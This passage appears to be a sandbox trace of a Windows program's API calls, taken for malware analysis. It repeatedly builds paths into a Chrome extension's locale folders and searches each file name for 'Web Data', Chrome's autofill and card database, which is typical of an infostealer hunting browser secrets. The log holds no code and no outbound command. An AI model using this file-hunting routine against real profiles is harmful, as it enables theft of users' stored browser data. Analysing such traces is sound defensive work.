FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.428] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.428] LocalFree (hMem=0x75e920) returned 0x0 [0054.429] LocalFree (hMem=0x74d010) returned 0x0 [0054.429] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.429] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0054.429] LocalFree (hMem=0x74cf00) returned 0x0 [0054.429] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" [0054.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*" [0054.429] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.429] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.429] LocalFree (hMem=0x75e920) returned 0x0 [0054.429] LocalFree (hMem=0x74d010) returned 0x0 [0054.429] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.429] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0054.429] LocalFree (hMem=0x74cf00) returned 0x0 [0054.429] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" [0054.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*" [0054.429] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.430] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.430] LocalFree (hMem=0x74cf00) returned 0x0 [0054.430] LocalFree (hMem=0x74d010) returned 0x0 [0054.430] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.430] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0054.430] LocalFree (hMem=0x74cf00) returned 0x0 [0054.430] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" [0054.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*" [0054.430] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.430] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.430] LocalFree (hMem=0x75e920) returned 0x0 [0054.430] LocalFree (hMem=0x74d010) returned 0x0 [0054.430] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.430] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0054.430] LocalFree (hMem=0x74cf00) returned 0x0 [0054.431] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0054.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*" [0054.431] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.431] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.431] LocalFree (hMem=0x74cf00) returned 0x0 [0054.431] LocalFree (hMem=0x74d010) returned 0x0 [0054.431] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.431] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0054.431] LocalFree (hMem=0x74cf00) returned 0x0 [0054.431] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0054.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*" [0054.431] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.431] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.432] LocalFree (hMem=0x74cf00) returned 0x0 [0054.432] LocalFree (hMem=0x74d010) returned 0x0 [0054.432] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.432] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0054.432] LocalFree (hMem=0x74cf00) returned 0x0 [0054.432] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0054.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*" [0054.432] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.432] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.432] LocalFree (hMem=0x75e920) returned 0x0 [0054.432] LocalFree (hMem=0x74d010) returned 0x0 [0054.432] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.432] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0054.432] LocalFree (hMem=0x74cf00) returned 0x0 [0054.432] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK 